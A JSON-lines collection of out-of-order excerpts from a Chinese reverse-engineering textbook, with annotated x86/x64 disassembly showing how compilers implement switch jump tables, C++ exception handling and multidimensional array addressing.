    {"text": "代码清单5-16 非线性索引表Debug版 //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 8 00401006 mov dword ptr [ebp-8], 0 0040100D lea eax, [ebp-8] 00401010 push eax 00401011 push offset unk_417160 00401016 call sub_401290 0040101B add esp, 8 0040101E mov ecx, [ebp-8] 00401021 mov [ebp-4], ecx 00401024 mov edx, [ebp-4] 00401027 sub edx, 1 0040102A mov [ebp-4], edx 0040102D cmp dword ptr [ebp-4], 0FEh ; switch 255 cases 00401034 ja short loc_40109F ; jumptable 00401040 default case 00401036 mov eax, [ebp-4] 00401039 movzx ecx, ds:byte_4010C4[eax] 00401040 jmp ds:off_4010A8[ecx*4] ; switch jump 00401047 push offset aN1 ; jumptable 00401040 case 0 0040104C call sub_401250 00401051 add esp, 4 00401054 jmp short loc_40109F ; jumptable 00401040 default case 00401056 push offset aN2 ; jumptable 00401040 case 1 0040105B call sub_401250 00401060 add esp, 4 00401063 jmp short loc_40109F ; jumptable 00401040 default case 00401065 push offset aN3 ; jumptable 00401040 case 2 0040106A call sub_401250 0040106F add esp, 4 00401072 jmp short loc_40109F ; jumptable 00401040 default case 00401074 push offset aN5 ; jumptable 00401040 case 4 00401079 call sub_401250 0040107E add esp, 4 00401081 jmp short loc_40109F ; jumptable 00401040 default case 00401083 push offset aN6 ; jumptable 00401040 case 5 00401088 call sub_401250 0040108D add esp, 4 00401090 jmp short loc_40109F ; jumptable 00401040 default case 00401092 push offset aN255 ; jumptable 00401040 case 254 00401097 call sub_401250 0040109C add esp, 4 0040109F xor eax, eax ; jumptable 00401040 default case 004010A1 mov esp, ebp 004010A3 pop ebp 004010A4 retn //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 sub rsp, 38h 000000014000100D mov dword ptr [rsp+24h], 0 0000000140001015 lea rdx, [rsp+24h] 000000014000101A lea rcx, unk_1400182D0 0000000140001021 call sub_140001300 0000000140001026 mov eax, [rsp+24h] 000000014000102A mov [rsp+20h], eax 000000014000102E mov eax, [rsp+20h] 0000000140001032 dec eax 0000000140001034 mov [rsp+20h], eax 0000000140001038 cmp dword ptr [rsp+20h], 0FEh ; switch 255 cases 0000000140001040 ja short loc_1400010B4 ; jumptable 0000000140001060 default case 0000000140001042 movsxd rax, dword ptr [rsp+20h] 0000000140001047 lea rcx, cs:140000000h 000000014000104E movzx eax, ds:(byte_1400010D8 - 140000000h)[rcx+rax] 0000000140001056 mov eax, ds:(off_1400010BC - 140000000h)[rcx+rax*4] 000000014000105D add rax, rcx 0000000140001060 jmp rax ; switch jump 0000000140001062 lea rcx, aN1 ; jumptable 0000000140001060 case 0 0000000140001069 call sub_1400012A0 000000014000106E jmp short loc_1400010B4 ; jumptable 0000000140001060 default case 0000000140001070 lea rcx, aN2 ; jumptable 0000000140001060 case 1 0000000140001077 call sub_1400012A0 000000014000107C jmp short loc_1400010B4 ; jumptable 0000000140001060 default case 000000014000107E lea rcx, aN3 ; jumptable 0000000140001060 case 2 0000000140001085 call sub_1400012A0 000000014000108A jmp short loc_1400010B4 ; jumptable 0000000140001060 default case 000000014000108C lea rcx, aN5 ; jumptable 0000000140001060 case 4 0000000140001093 call sub_1400012A0 0000000140001098 jmp short loc_1400010B4 ; jumptable 0000000140001060 default case 000000014000109A lea rcx, aN6 ; jumptable 0000000140001060 case 5 00000001400010A1 call sub_1400012A0 00000001400010A6 jmp short loc_1400010B4 ; jumptable 0000000140001060 default case 00000001400010A8 lea rcx, aN255 ; jumptable 0000000140001060 case 254 00000001400010AF call sub_1400012A0 00000001400010B4 xor eax, eax ; jumptable 0000000140001060 default case 00000001400010B6 add rsp, 38h 00000001400010BA retn //x64_gcc对应汇编代码讲解参考代码清单5-17 //x64_clang对应汇编代码讲解参考代码清单5-17 代码清单5-16首先查询索引表索引表由数组组成数组的每一项大小为1字节。"},
    {"text": "图5-7中的第0项数值为0在图5-8的地址表中查询第0项取4字节数据作为case语句块首地址0x0040DFAA对应代码清单5-16中的“case 1”的首地址还记得之前的减1调整吗见代码清单5-16中的0040DF89地址处。"},
    {"text": "在表中标号相同的为switch的结束地址标号有default块则是default块的地址。 然后在地址表第6项找到switch的结束地址图5-8中地址表的第6项对应的地址为0x0040E02B。 该地址中保存的数据按照地址方式解释为0x0040E002对应代码清单5-16中switch的结束地址。"},
    {"text": "图5-7 非线性索引表Debug版 图5-8 非线性地址表Debug版 已知case语句数及每个case语句块的地址如何还原每个case的标号值呢答案是将两表相结合得出每个case语句的标号值。 将索引表看作一个数组参考反汇编代码中将索引表对齐到0下标的操作代码清单5-16中对齐到0下标的数值为-1因此地址表对应的索引表的下标加1就是case语句的标号值。"},
    {"text": "总结 mov reg, mem ; 取出switch变量 sub reg,1 ; 调整对齐到索引表的下标0 mov mem, reg ; 影响标记位的指令 jxx xxxx ; 超出范围跳转到switch结尾或default mov reg, [mem] ; 取出switch变量 ; eax 不是必须使用的但之后的数组查询用到的寄存器一定是此处使用到的寄存器 xor eax,eax mov al,byte ptr (xxxx)[reg] ; 查询索引表得到地址表的下标 jmp dword ptr [eax*4+xxxx] ; 查询地址表得到对应的case块的首地址 如果遇到以上代码块可判定其是添加了索引表的switch结构。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 第8章 数组和指针的寻址 虽然数组和指针都是针对地址操作的但是它们也有许多不同之处。数组是相同数据类型的集合以线性方式连续存储在内存中而指针只是一个保存地址值的4字节变量。在使用中数组名是一个地址常量值保存数组首元素地址不可修改只能以此为基地址访问内存数据。而指针是一个变量只要修改指针中保存的地址数据就可以随意访问不受约束。本章将深入介绍数组的构成以及两种寻址方式关于指针的讲解见2.5节。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 13.4 识别异常处理 通过对VS编译器C++异常处理的分析可将其处理流程总结为以下9个步骤。"},
    {"text": "2异常的抛出由__CxxThrowException函数完成该函数使用了两个参数一个是抛出异常的关键字throw的参数指针另一个是抛出信息类型的指针ThrowInfo*。"},
    {"text": "4如果没有找到try块则析构异常对象返回ExceptionContinueSearch继续下一个异常回调函数的处理。 5当找到对应的try块时通过TryBlockMapEntry表结构中的pCatch指向catch信息表用ThrowInfo表结构中的异常类型遍历查找与之匹配的catch块比较关键字名称如整型为.h单精度浮点为.m)找到有效的catch块。"},
    {"text": "代码清单13-9 典型的异常处理结构 // 异常处理基类 class CExceptionBase{ public: virtual char* GetExceptionInfo() = 0; }; // 除零异常类 class CDiv0Exception : public CExceptionBase{ public: CDiv0Exception(){ printf(\"CExceptionDiv0()\\r\\n\"); } virtual ~CDiv0Exception(){ printf(\"~CDiv0Exception()\\r\\n\"); } virtual char* GetExceptionInfo(){ return \"div zero exception\"; } }; // 访问异常类 class CAccessException : public CExceptionBase{ public: CAccessException(){ printf(\"CAccessException()\\r\\n\"); } virtual ~CAccessException(){ printf(\"~CAccessException()\\r\\n\"); } virtual char* GetExceptionInfo(){ return \"access exception\"; } }; // C++异常处理结构 void TestException(int n){ try{ // 以下抛出各个基本类型的异常 if (1 == n){ throw 3; } if (2 == n){ throw 3.0f; } if (3 == n){ throw '3'; } if (4 == n){ throw 3.0; } // 以下抛出异常对象 if (5 == n){ throw CDiv0Exception(); } if (6 == n){ throw CAccessException(); } // 这里是抛出异常对象的指针 if (7 == n){ CAccessException excAccess; throw &excAccess; } } // 处理各类异常 catch(int n){ printf(\"catch int %d\\r\\n\", n); } catch(float f){ printf(\"catch float %f\\r\\n\", f); } catch(char c){ printf(\"catch char %c\\r\\n\", c); } catch(double d){ printf(\"catch double %f\\r\\n\", d); } catch(CExceptionBase &exc){ printf(\"catch error %s\\r\\n\", exc.GetExceptionInfo()); } catch(CAccessException *pExc){ printf(\"catch error %s\\r\\n\", pExc->GetExceptionInfo()); } catch(...){ printf(\"catch ...\\r\\n\"); } // 异常处理结束 printf(\"Test end!\\r\\n\"); } } int main(int argc, char* argv[]) { for(int i = 1; i <= 8; i++) { TestException(i); } return 0; } 使用Release选项组将以上代码编译后载入IDA先找到TestException的位置在入口处会发现以下代码。"},
    {"text": "00401000 push ebp 00401001 mov ebp, esp 00401003 push 0FFFFFFFFh 00401005 push offset unknown_libname_9 ; 不难发现这里是典型的注册SEH 句柄的代码 0040100A mov eax, large fs:0 00401010 push eax 00401011 mov large fs:0, esp 在地址00401005处的代码是异常处理句柄不妨双击unknown_libname_9进去看看对应的代码如下。 00408398 unknown_libname_9 proc near 00408398 mov eax, offset stru_409848 0040839D jmp CxxFrameHandler 0040839D unknown_libname_9 endp 看到___CxxFrameHandler后可以确认这里的异常注册是编译器产生的参考步骤1接着看TestException函数的其他关键代码按下快捷键Esc。"},
    {"text": "00401021 cmp eax, 1 00401024 mov [ebp+var_10], esp 00401027 mov [ebp+var_4], 0 0040102E jnz short loc_401045 00401030 lea eax, [ebp+var_18] 00401033 push offset unk_409838 00401038 push eax 00401039 mov [ebp+var_18], 3 00401040 call CxxThrowException@8 ; _CxxThrowException(x,x) 00401045 loc_401045: 地址0040102E处开始一个单分支结构在此单分支结构中有一个函数调用调用目标为__CxxThrowException@8。"},
    {"text": "根据地址00401038处的代码push eax还可以得知throw参数的地址在eax中。 在地址00401030处显示eax的值为[ebp+var_18]的地址。 在地址00401039处有指令“mov [ebp+var_18], 3”。"},
    {"text": "这里IDA没有显示dword ptr在函数入口代码前定义了“var_18= dword ptr -18h”因此可以确定这里的throw语句的参数为4字节长度详细类型未知。"},
    {"text": "00401045 cmp eax, 2 00401048 jnz short loc_40105F 0040104A lea ecx, [ebp+var_1C] 0040104D push offset dword_409828 00401052 push ecx 00401053 mov [ebp+var_1C], 40400000h 0040105A call CxxThrowException@8 ; _CxxThrowException(x,x) 0040105F loc_40105F: 同理在0040105A处又有一条throw语句其参数为[ebp+var_1C]在函数入口代码前定义了“var_1C= dword ptr -1Ch”故也可以确定这里throw语句的参数为4字节长度详细类型未知。"},
    {"text": "0040105F cmp eax, 3 00401062 jnz short loc_401076 00401064 lea edx, [ebp+var_11] 00401067 push offset unk_409818 0040106C push edx 0040106D mov [ebp+var_11], 33h 00401071 call CxxThrowException@8 ; _CxxThrowException(x,x) 00401076 loc_401076: 相信大家对同类代码已经很熟悉了这里不再重复讲解。"},
    {"text": "根据以上粗体代码所示大家应该知道要去查看var_11的定义在函数入口代码前定义var_11为“var_11= byte ptr -11h”可以确定这里throw语句的参数为1字节长度详细类型未知。"},
    {"text": "00401076 cmp eax, 4 00401079 jnz short loc_401097 0040107B lea eax, [ebp+var_40] 0040107E push offset unk_409808 00401083 push eax 00401084 mov [ebp+var_40], 0 0040108B mov [ebp+var_3C], 40080000h 00401092 call CxxThrowException@8 ; _CxxThrowException(x,x) 00401097 loc_401097: 值得一提的是这里throw语句的参数为[ebp+var_40]的地址而对[ebp+var_40]和[ebp+var_3C]赋值的地址是00401084处和0040108B处这两个内存单元是连续的而且是在push和call__CxxThrowException@8指令之间单纯看var_40的类型会得到dword ptr的定义无法解释var_3C赋值的理由。"},
    {"text": "00401097 cmp eax, 5 0040109A jnz short loc_4010BE 0040109C push offset aCexceptiondiv ; \"CExceptionDiv0()\\r\\n\" 004010A1 mov [ebp+var_20], offset off_4090D0 004010A8 call _printf 004010AD add esp, 4 004010B0 lea ecx, [ebp+var_20] 004010B3 push offset unk_4097F8 004010B8 push ecx 004010B9 call _CxxThrowException@8 ; _CxxThrowException(x,x) 004010BE loc_4010BE: 这里throw语句的参数为[ebp+var_20]的地址而[ebp+var_20]的内容在004010A1处被设置为offset off_4090D0下面看一下off_4090D0是什么类型的数据。 .rdata:004090D0 off_4090D0 dd offset sub_401210 .rdata:004090D4 dd offset sub_401220 sub_401210和sub_401220明显是函数的地址说明在off_4090D0处存放了两个函数指针下面观察这两个函数首先看sub_401210处的代码。 00401210 sub_401210 proc near 00401210 mov eax, offset aDivZeroExcept ; \"div zero Exception\" 00401215 retn 00401215 sub_401210 endp 很明显这个函数返回字符串“div zero Exception”。"},
    {"text": "00401220 sub_401220 proc near 00401220 arg_0= byte ptr 4 00401220 push esi 00401221 mov esi, ecx 00401223 push offset aCdiv0exception; \"~CDiv0Exception()\\r\\n\" 00401228 mov dword ptr [esi], offset off_4090D0 0040122E call _printf 00401233 mov al, [esp+8+arg_0] 00401237 add esp, 4 0040123A test al, 1 0040123C jz short loc_401247 0040123E push esi ; lpMem 0040123F call delete 00401244 add esp, 4 00401247 00401247 loc_401247: ; CODE XREF: sub_401220+1Cj 00401247 mov eax, esi 00401249 pop esi 0040124A retn 4 0040124A sub_401220 endp 在sub_401220中地址00401221处直接使用了ecx说明ecx是用来传递参数的。"},
    {"text": "地址00401233、0040123A、0040123C、0040123F处的指令结合起来判定参数最低位是否为1若为1则执行delete释放esi即参数ecx中的地址内容若不为1则不释放。"},
    {"text": "00401097 cmp eax, 5 0040109A jnz short loc_4010BE 0040109C push offset aCexceptiondiv ; \"CExceptionDiv0()\\r\\n\" 004010A1 mov [ebp+var_20], offset off_4090D0 004010A8 call _printf 004010AD add esp, 4 004010B0 lea ecx, [ebp+var_20] 004010B3 push offset unk_4097F8 004010B8 push ecx 004010B9 call CxxThrowException@8 ; _CxxThrowException(x,x) 004010BE loc_4010BE: 现在可以确定从地址004010A1到地址004010AD都是内联构造函数的实现代码下画线处构造的对象地址为ebp+var_20这个地址传给了ecx并作为throw语句的参数进行传递说明此处throw语句的参数为对象类型。"},
    {"text": "004010BE cmp eax, 6 004010C1 jnz short loc_4010E5 004010C3 push offset aCaccessexcept ; \"CAccessException()\\r\\n\" 004010C8 mov [ebp+var_24], offset off_4090C8 004010CF call _printf 004010D4 add esp, 4 004010D7 lea edx, [ebp+var_24] 004010DA push offset unk_4097E8 004010DF push edx 004010E0 call CxxThrowException@8 ; _CxxThrowException(x,x) 004010E5 004010E5 loc_4010E5: 观察offset off_4090C8的内容即可确定004010C3至004010D4为对象构造函数的代码其地址为ebp+var_24这个地址成为throw语句的参数故这里throw语句的参数也是一个对象观察对象的虚表地址可以确认这个对象和上例中的对象所属类型不同。"},
    {"text": "004010E5 cmp eax, 7 004010E8 jnz loc_4011C9 004010EE push offset aCaccessexcept ; \"CAccessException()\\r\\n\" 004010F3 mov [ebp+var_60], offset off_4090C8 004010FA call _printf 004010FF add esp, 4 00401102 lea ecx, [ebp+var_28] 00401105 lea eax, [ebp+var_60] 00401108 push offset dword_4097D8 0040110D push ecx 0040110E mov byte ptr [ebp+var_4], 1 00401112 mov [ebp+var_28], eax 00401115 call CxxThrowException@8 ; _CxxThrowException(x,x) 0040111A 0040111A loc_40111A: 按上面的方法很容易看出地址004010EE到地址004010FF是内联构造函数的代码结合虚表地址可发现其对象类型与上例相同。 大家要注意地址00401102处、00401105处和00401112处的3条指令其作用是将对象取地址存放至[ebp+var_28]并将[ebp+var_28]作为参数由ecx传递给throw语句地址0040110D处的指令。"},
    {"text": "0040111A loc_40111A: ; DATA XREF: .rdata:stru_409898 |- o 0040111A mov edx, [ebp+var_2C] 0040111D push edx 0040111E push offset aCatchIntD ; \"catch int %d\\r\\n\" 00401123 call _printf 00401128 add esp, 8 0040112B mov eax, offset loc_4011C9 00401130 retn 00401131 ; ---------------------------------------------------------------- 00401131 00401131 loc_401131: ; DATA XREF: .rdata:stru_409898 |- o 00401131 fld [ebp+var_30] 00401134 sub esp, 8 00401137 fstp qword ptr [esp+4+var_4] 0040113A push offset aCatchFloatF ; \"catch float %f\\r\\n\" 0040113F call _printf 00401144 add esp, 0Ch 00401147 mov eax, offset loc_4011C9 0040114C retn …… 这里的代码很特别首先是标号如地址0040111A处和00401131处的两个标号IDA以注释的形式给出了引用其标号的地址可以发现引用这两个标号的都是“.rdata”节所处的内存位置其次是返回值很容易发现不合理的地方即这里两个标号处的返回值都是某代码的地址难道是函数返回函数指针接下来对照函数入口查看返回前的栈平衡代码。 00401000 push ebp 00401001 mov ebp, esp 00401003 push 0FFFFFFFFh 00401005 push offset unknown_libname_9 0040100A mov eax, large fs:0 00401010 push eax 00401011 mov large fs:0, esp 明显不合理的地方是返回前栈顶没有平衡。"},
    {"text": "004011C9 loc_4011C9: ; CODE XREF: TestException+E8↑j 004011C9 ; DATA XREF: TestException+12B↑o ... 004011C9 push offset aTestEnd ; \"Test end!\\r\\n\" 004011CE call _printf 004011D3 mov ecx, [ebp+var_C] 004011D6 add esp, 4 004011D9 mov large fs:0, ecx 004011E0 pop edi 004011E1 pop esi 004011E2 pop ebx 004011E3 mov esp, ebp 004011E5 pop ebp 004011E6 retn 004011E7 TestException endp 结合函数入口代码很容易看出004011D9到004011E6之间的汇编指令对应的函数功能是对函数TestException执行栈顶平衡操作并返回同时IDA也给予了正确的提示 [1] 见地址004011E7。"},
    {"text": "; catch 语句块的开始标志 CATCH1_BEGIN: ; IDA 以注释的方式提示对这个标号的引用不在代码节中通常是“.rdata节” ; catch语句块的实现代码。 如果catch语句块中的代码存在对catch参数的引用就有机会得知参数的类型 ; catch语句块的结尾标志 ; 不正常的返回栈顶没有正确平衡 mov eax, ALL_CATCH_END ; 每个catch块的返回值为当前try语句对应的所有catch的末尾地址 retn CATCH2_BEGIN: ...... mov eax, ALL_CATCH_END retn …… ; 其他的catch语句块 ALL_CATCH_END: …… ; 最后会正常地平衡栈顶还原fs:[0]并返回 …… retn 根据以上总结可以在IDA中修改catch语句块对应标号的名称这里将0040111A处的标号loc_40111A修改为CATCH1_BEGIN。"},
    {"text": "; 第一个catch块的起始处 0040111A CATCH1_BEGIN: ; DATA XREF: .rdata:stru_409898|-o 0040111A mov edx, [ebp+var_2C] 0040111D push edx 0040111E push offset aCatchIntD ; \"catch int %d\\r\\n\" 00401123 call _printf 00401128 add esp, 8 0040112B mov eax, offset ALL_CATCH_END 00401130 retn ; 第一个catch块的结尾处 00401131 ; ------------------------------------------------------------ ; 第二个catch块的起始处 00401131 CATCH2_BEGIN: ; DATA XREF: .rdata:stru_409898├o 00401131 fld [ebp+var_30] 00401134 sub esp, 8 00401137 fstp qword ptr [esp+4+var_4] 0040113A push offset aCatchFloatF ; \"catch float %f\\r\\n\" 0040113F call _printf 00401144 add esp, 0Ch 00401147 mov eax, offset ALL_CATCH_END 0040114C retn ; 第二个catch块的结尾处 …… ; 当前try语句对应的所有catch块的末尾处 004011C9 ALL_CATCH_END: 004011C9 ; DATA XREF: TestException+12B↑o ... 004011C9 push offset aTestEnd ; \"Test end!\\r\\n\" 004011CE call _printf 004011D3 mov ecx, [ebp+var_C] 004011D6 add esp, 4 004011D9 mov large fs:0, ecx 004011E0 pop edi 004011E1 pop esi 004011E2 pop ebx 004011E3 mov esp, ebp 004011E5 pop ebp 004011E6 retn 现在看起来可读性是不是强了很多 接下来讨论一下throw语句和catch语句参数类型的判定问题。"},
    {"text": "对于类型为对象的情况重点考察对象中保存的虚函数表指针确定了虚函数表所属的类型即可判定对象的类型。 对于基本数据类型和简单对象结构不存在虚函数的情况最简单的办法就是使用调试器先在IDA中分析出try/throw/catch的结构确定每个catch的边界然后在调试器中为每个catch语句块的首地址设置断点并修改代码以触发throw语句之后开始运行触发异常后观察每个throw和catch的对应关系。"},
    {"text": "对于VS编译器可以考察throw的第二个参数ThrowInfo*类型或IDA提示中引用catch语句的地址CatchTableType类型根据图13-11异常回调与异常抛出的结构关系图找到TypeDescriptor表结构即可找到类型定义甚至自定义类型的名称代码如下所示。"},
    {"text": "00401021 cmp eax, 1 00401024 mov [ebp+var_10], esp 00401027 mov [ebp+var_4], 0 0040102E jnz short loc_401045 00401030 lea eax, [ebp+var_18] 00401033 push offset unk_409838 00401038 push eax 00401039 mov [ebp+var_18], 3 00401040 call CxxThrowException@8 ; _CxxThrowException(x,x) 00401045 loc_401045: 这里是throw语句处的反汇编代码考察throw的第二个参数可以得到对应ThrowInfo信息的地址这里是unk_409838。"},
    {"text": ".rdata:00409838 unk_409838 db 0 ; DATA XREF: TestException+33↑o .rdata:00409839 db 0 .rdata:0040983A db 0 .rdata:0040983B db 0 .rdata:0040983C dd 0 .rdata:00409840 dd 0 .rdata:00409844 dd offset dword_4097D0 按Shift+F9组合键打开IDA中结构体的定义窗口按Insert键创建结构体将其命名为ThrowInfo。 按照13.1节的定义输入内容定义完毕后回到反汇编窗口单击unk_409838按Alt+Q组合键在类型选择界面选中刚刚定义的ThrowInfo得到如下代码。 . rdata: 00409838 stru_ 409838 Throw Info < 0, 0, 0, 4097D0h> ; DATA XREF: TestException+33↑o 将stru_409838的名称修改为常用的规范名称这里修改为TI_1得到如下代码。 .rdata:00409838 TI_1 ThrowInfo <0, 0, 0, 4097D0h> ; DATA XREF:TestException+33o ThrowInfo表结构中的第4项是pCatchTableTypeArray在TI_1中对应的地址是4097D0h。 .rdata:004097D0 dd 1 .rdata:004097D4 dd offset unk_4097B0 按Shift+F9组合键增加对pCatchTableTypeArray类型的定义。 pCatchTableTypeArray是CatchTableTypeArray类型的指针按照13.1节CatchTableTypeArray的定义在IDA中创建结构体将其命名为CatchTableTypeArray单击地址004097D0然后按Alt+Q组合键更改定义得到以下代码。 .rdata:004097D0 CatchTableTypeArray <1, 4097B0h> 根据CatchTableTypeArray的定义可知CatchTableTypeArray中只有一项元素地址为4097B0h其类型为CatchTableType**。 在地址4097B0h处按Shift+F9组合键增加对CatchTableType的定义按Alt+Q组合键将此地址定义为CatchTableType。 .rdata:004097B0 CatchTableType <1, 40A120h, 0, 0FFFFFFFFh, 0> 根据CatchTableType的定义可知第2项为pTypeInfo它指向异常类型结构Type-Descriptor在地址40A120H处继续观察。 .data:0040A120 off_40A120 dd offset off_4090E0 ; DATA XREF: .rdata:stru_409898↑o .data:0040A124 dd 0 .data:0040A128 a_h db '.H',0 地址04A120H是TypeDescriptor表结构的内容0040A128对应此结构的Type-Descriptor::name项。"},
    {"text": "对于基本数据类型而言每个类型都有其名称代号如int用“.H”表示float用“.M”表示char用“.D”表示double用“.N”表示等其他类型请读者自己寻找。"},
    {"text": "00401180 loc_401180: 00401180 mov ecx, [ebp+var_34] 00401183 mov eax, [ecx] 00401185 call dword ptr [eax] 00401187 push eax 00401188 push offset aCatchErrorS ; \"catch error %s\\r\\n\" 0040118D call _printf 00401192 add esp, 8 00401195 mov eax, offset ALL_CATCH_END 0040119A retn 首先观察00401180处的注释上面代码以下划线表示这里的注释指示了此标号的参考引用位置双击stru_409898进入并查看。 .rdata:00409898 stru_409898 _msRttiDscr <0, offset off_40A120, -44, offset CATCH1_BEGIN> .rdata:00409898 ; DATA XREF: .rdata:stru_409880↑o .rdata:00409898 _msRttiDscr <0, offset off_40A110, -48, offset CATCH2_BEGIN> .rdata:00409898 _msRttiDscr <0, offset stru_40A100, -18, offset loc_40114D> .rdata:00409898 _msRttiDscr <0, offset stru_40A0F0, -72, offset loc_401165> .rdata:00409898 _msRttiDscr <8, offset stru_40A0B0, -52, offset loc_401180> .rdata:00409898 _msRttiDscr <0, offset stru_40A070, -56, offset loc_40119B> .rdata:00409898 _msRttiDscr <0, 0, 0, offset loc_4011B6> 这里是_msRttiDscr类型的数组这个类型会被IDA识别出来。"},
    {"text": ".data:0040A0B0 stru_40A0B0 dq offset off_4090E0 ; DATA XREF: .rdata:stru_409898↑o .data:0040A0B8 a_?avcexcepction db '.?AVCExceptionBase@@',0 TypeDescriptor::name域的值为“.?AVCExceptionBase@@”这表示参数为CException-Base类型或者该类型的引用。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 8.5 多维数组 前几节介绍了一维数组的各种展示形态而超过一维的多维数组在内存中如何存储呢内存中数据是线性排列的。 多维数组看上去是在内存使用了多块空间存储数据事实真是如此吗实际上编译器采用了非常简单有效的方法将多维数组通过转化重新变为一维数组。 本节对多维数组的讲解将以二维数组为例如二维整型数组int nArray[2][2]经过转换后可用一维数组表示为int nArray[4]。"},
    {"text": "计算二维数组的大小非常简单一维数组使用类型大小乘以下标值得到一维数组占用内存大小。 二维数组中的二维下标值为一维数组的个数因此只要将二维数组的下标值乘以一维数组占用内存大小即可得知二维数组的大小。 求得二维数组的大小后如何计算地址偏移呢根据之前的学习我们知道一维数组的寻址公式为数组首地址+类型大小*下标值。 计算二维数组的地址偏移要先分析二维数组的组成部分如整型二维数组int nArray[2][3]可拆分为如下三个部分。"},
    {"text": "在地址偏移的计算过程中先计算首地址到一维数组间的偏移量利用数组首地址加上偏移量得到某个一维数组所在地址。 以此地址为基地址加上一维数组中数据地址偏移寻址到二维数组中的某个数据。"},
    {"text": "数组首地址+sizeof(type[J])*二维下标值+sizeof(type)*一维下标值 二维以上数组的寻址同理多维数组的组成可看作一个包裹套小包裹。 如三维数组int nArray[2][3][4]最左侧的int nArray[2]为第一层包内数据下标值2说明在第一层包裹中有两个二维数组int[3][4]小包裹。 打开其中一个小包裹里面包着一个一维数组int[4]。 打开另一个小包裹里面包含一个int类型的数据。"},
    {"text": "二维数组的寻址过程比一维数组多一步操作先取得二维数组中某个一维数组的首地址再利用此地址作为基址寻址到一维数组中某个数据的地址处。"},
    {"text": "代码清单8-11使用02选项进行优化后数组中的各成员不会连续初始化而是将一维数组与二维数组同步初始化因为它们中的数据都是1、2、3、4所以可以使用公共表达式进行优化。 使用02选项重新编译代码清单8-11分析优化后的数组初始化过程以及在Release版下数组的寻址过程如代码清单8-12所示。 代码清单8-12 一维数组、二维数组初始化及寻址优化Release版 //x86_vs对应汇编代码讲解 00401020 sub esp, 2Ch 00401023 mov eax, ___security_cookie 00401028 xor eax, esp 0040102A mov [esp+28h], eax 0040102E movaps xmm0, ds:xmmword_417180 ;xmm0= {1, 2, 3, 4} 00401035 lea eax, [esp+4] ;eax=&j 00401039 push eax 0040103A lea eax, [esp+4] ;eax=&i 0040103E mov dword ptr [esp+4], 0 ;i=0 00401046 push eax 00401047 push offset aDD ;\"%d %d\" 0040104C mov dword ptr [esp+10h], 0 ;j=0 00401054 movups xmmword ptr [esp+14h], xmm0 ;ary1[4] = {1, 2, 3, 4} 00401059 movups xmmword ptr [esp+24h], xmm0 ;ary2[2][2] = {{1, 2},{3, 4}}; 0040105E call sub_4010E0 ;调用scanf函数 00401063 mov eax, [esp+0Ch] ;eax=i 00401067 push dword ptr [esp+eax*4+14h] ;[esp+14h+eax*4]=[ary1+i*4] 0040106B push offset aAry1D ;\"ary1 = %d\\n\" 00401070 call sub_4010B0 ;调用printf函数 00401075 mov ecx, [esp+14h] ;ecx=i 00401079 mov eax, [esp+18h] ;eax=j 0040107D lea eax, [eax+ecx*2] ;eax=i*2+j 00401080 push dword ptr [esp+eax*4+2Ch] ;[esp+2Ch+(i*2+j)*4]=[esp+2Ch+i*8+j*4] ;=[ary2+i*8+j*4] 00401084 push offset aAry2D ;\"ary2 = %d\\n\" 00401089 call sub_4010B0 ;调用printf函数 0040108E mov ecx, [esp+44h] 00401092 add esp, 1Ch 00401095 xor ecx, esp 00401097 xor eax, eax 00401099 call @__security_check_cookie@4 ; __security_check_cookie(x) 0040109E add esp, 2Ch 004010A1 retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001020 sub rsp, 58h 0000000140001024 mov rax, cs:__security_cookie 000000014000102B xor rax, rsp 000000014000102E mov [rsp+48h], rax 0000000140001033 movdqa xmm0, cs:xmmword_140018300 ;xmm0= {1, 2, 3, 4} 000000014000103B lea r8, [rsp+24h] ;r8=&j 0000000140001040 xor eax, eax 0000000140001042 lea rdx, [rsp+20h] ;rdx=&i 0000000140001047 movdqa xmm1, xmm0 000000014000104B mov [rsp+20h], eax ;i=0 000000014000104F lea rcx, aDD ;\"%d %d\" 0000000140001056 mov [rsp+24h], eax ;j=0 000000014000105A movdqu xmmword ptr [rsp+28h], xmm0 ;ary1[4] = {1, 2, 3, 4} 0000000140001060 movdqu xmmword ptr [rsp+38h], xmm0 ;ary2[2][2] = {{1, 2},{3, 4}} 0000000140001066 call sub_140001120 ;调用scanf函数 000000014000106B movsxd rax, dword ptr [rsp+20h] 0000000140001070 lea rcx, aAry1D ;\"ary1 = %d\\n\" 0000000140001077 mov edx, [rsp+rax*4+28h] ;edx=[ary1+i*4] 000000014000107B call sub_1400010C0 ;调用printf函数 0000000140001080 movsxd rcx, dword ptr [rsp+20h] ;rcx=i 0000000140001085 movsxd rax, dword ptr [rsp+24h] ;rdx=j 000000014000108A lea rcx, [rax+rcx*2] ;rcx=j+i*2 000000014000108E mov edx, [rsp+rcx*4+38h] ;edx=[rsp++38h+(j+i*2)*4] ;=[ary2+i*8+j*4] 0000000140001092 lea rcx, aAry2D ;\"ary2 = %d\\n\" 0000000140001099 call sub_1400010C0 ;调用printf函数 000000014000109E xor eax, eax 00000001400010A0 mov rcx, [rsp+48h] 00000001400010A5 xor rcx, rsp ; StackCookie 00000001400010A8 call __security_check_cookie 00000001400010AD add rsp, 58h 00000001400010B1 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 代码清单8-12中未能发现二维数组却出现了奇特的地址下标计算“eax+edx*2”此计算得出的eax与edx分别保存二维数组中的两个下标值i、j。"},
